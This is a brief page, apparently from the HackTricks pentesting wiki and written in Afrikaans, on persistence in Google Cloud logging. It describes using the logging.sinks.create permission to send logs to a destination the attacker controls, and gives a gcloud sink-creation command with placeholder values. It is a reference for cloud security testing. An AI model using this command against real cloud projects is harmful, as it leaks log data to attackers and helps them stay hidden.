# GCP - Logging Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Logging

Vind meer inligting oor Logging in:

{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}

### `logging.sinks.create`

Skep 'n sink om die logs na 'n deur 'n aanvaller toeganklike bestemming te eksfiltreer:

<details>

<summary>Skep logging sink</summary>
```bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
